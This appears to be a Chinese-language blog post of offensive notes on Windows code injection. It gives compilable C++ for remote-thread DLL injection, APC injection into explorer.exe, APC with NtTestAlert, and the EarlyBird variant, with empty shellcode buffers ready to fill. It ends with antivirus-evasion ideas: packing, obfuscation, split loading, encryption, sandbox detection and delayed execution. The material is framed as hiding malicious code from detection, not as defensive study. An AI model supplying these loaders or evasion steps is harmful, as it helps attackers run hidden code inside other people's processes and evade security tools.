远程线程注入(DLL注入)
加载DLL,dllMain执行
- 原理:利用远程线程回调函数执行代码所导致的注入
- 流程:在目标进程中创建远程线程,线程回调函数传参LoadLibrary,传递DLL路径作为回调函数,也就是LoadLibrary的参数。线程执行LoadLibrary后加载DLL并执行。
- 优点: 相对稳定。
- 缺点: 易被检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #include <iostream> #include <windows.h>
#define DLL_PATH L"D:\\Debug\\injectDLL.dll"
int main() {
DWORD dwPid = 0; scanf_s("%d", &dwPid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
SIZE_T lpNumberOfBytesWritten = 0; DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2; LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, &lpNumberOfBytesWritten);
HANDLE hThread = CreateRemoteThread( hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryW, lpAddress, NULL, NULL );
WaitForSingleObject(hThread, -1); VirtualFree(lpAddress, dwSize, NULL); CloseHandle(hThread); CloseHandle(hProcess); }
|
APC注入(内存注入)
线程切换调用异步过程,异步过程回调函数执行
- 原理:APC(Asynchronous Procedure Call)异步过程调用,操作系统支持异步过程调用,允许一个进程向另一个进程的执行上下文中插入一个函数(回调函数)的执行,这种机制通常用于异步通信和处理中断,但它也可以被恶意用于注入代码。
- 流程:向目标进程申请内存空间写入恶意代码,使用系统API注册创建一个异步过程调用对象,关联到目标进程,并将写入的恶意代码的入口点注册为异步过程调用的回调函数。等待异步过程调用触发从而执行恶意代码。
- 优点: 不创建新的进程和线程,而是内存写入,利用目标进程的执行流程来执行写入的恶意代码,因此较难被检测。
- 缺点: 注入的程序必须是多线程,部分程序切换线程上下文并不会触发异步过程调用,并且由于异步过程调用的执行依赖于目标进程的上下文切换和调度,可能存在稳定性问题,导致注入失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| #include <stdio.h> #include <Windows.h> #include <TlHelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; }
PROCESSENTRY32 pe; pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe)) { do { if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while (Process32Next(hSnapshot, &pe)); }
CloseHandle(hSnapshot); return 0; }
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId) {
DWORD dwBufferLength = 1000; THREADENTRY32 te32 = { 0 }; HANDLE hSnapshot = NULL; BOOL bRet = TRUE;
::RtlZeroMemory(&te32, sizeof(te32)); te32.dwSize = sizeof(te32); hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
bRet = ::Thread32First(hSnapshot, &te32); while (bRet) { if (te32.th32OwnerProcessID == dwProcessId) { return te32.th32ThreadID; }
bRet = ::Thread32Next(hSnapshot, &te32); } return 0; }
int main() { FARPROC pLoadLibrary = NULL; HANDLE hThread = NULL; HANDLE hProcess = 0; DWORD Threadid = 0; DWORD ProcessId = 0; BYTE DllName[] = "C:\\Users\\Black Sheep\\source\\repos\\ApcInject\\x64\\Debug\\TestDll.dll"; LPVOID AllocAddr = NULL;
ProcessId = GetProcessIdByName(L"explorer.exe"); hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId); pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(DllName) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, AllocAddr, DllName, sizeof(DllName) + 1, 0); Threadid = GetAllThreadIdByProcessId(ProcessId); hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid); QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)AllocAddr); CloseHandle(hProcess); CloseHandle(hThread); return 0;
}
|
APC & NtTestAlert Code Execute
利用线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。
优点:解决了APC注入恶意带是否执行及执行时间的不确定性.
缺点:emmm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <Windows.h> #include<stdio.h> char shellcode[]=""; typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL); NtTestAlert(); return 0; }
|
APC注入变种 - EarlyBird
EarlyBird是APC注入和线程劫持结合的变种,利用的是线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。
优点:解决了APC注入恶意带是否执行及执行时间的不确定性,并且先于进程入口点提前拿到控制权,可以用来过进程内检测。
缺点:需要创建挂起的进程(一般需要为合法/白名单进程),容易被检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #include <Windows.h> #include <iostream> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char shellcode[] = "";
int main() { LPCSTR lpApplication = "C:\\Windows\\notepad.exe"; SIZE_T shellcodeLen = sizeof(shellcode); STARTUPINFO sInfo = { 0 }; PROCESS_INFORMATION pInfo = { 0 }; CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo); HANDLE hProc = pInfo.hProcess; HANDLE hThread = pInfo.hThread; LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress; WriteProcessMemory(hProc, lpvShellAddress, shellcode, shellcodeLen, NULL); QueueUserAPC(PAPCFUNC(ptApcRoutine), hThread, NULL); ResumeThread(hThread); return 0; }
|
SetWindowHook注入(事件-消息 钩子)
IAT-HOOK注入
参考文章:未完待续。。。
关于免杀的一点思路
静态检测 - 基于特征码、白名单签名
- 加壳
- 混淆截断
- 分离免杀
- 加密算法加密
- 无法解壳时大多时候会报毒,(白名单除外)
动态检测 - 沙箱检测
- 沙箱角度:检测沙箱,沙箱漏洞利用
- 病毒自身:延长伪装时间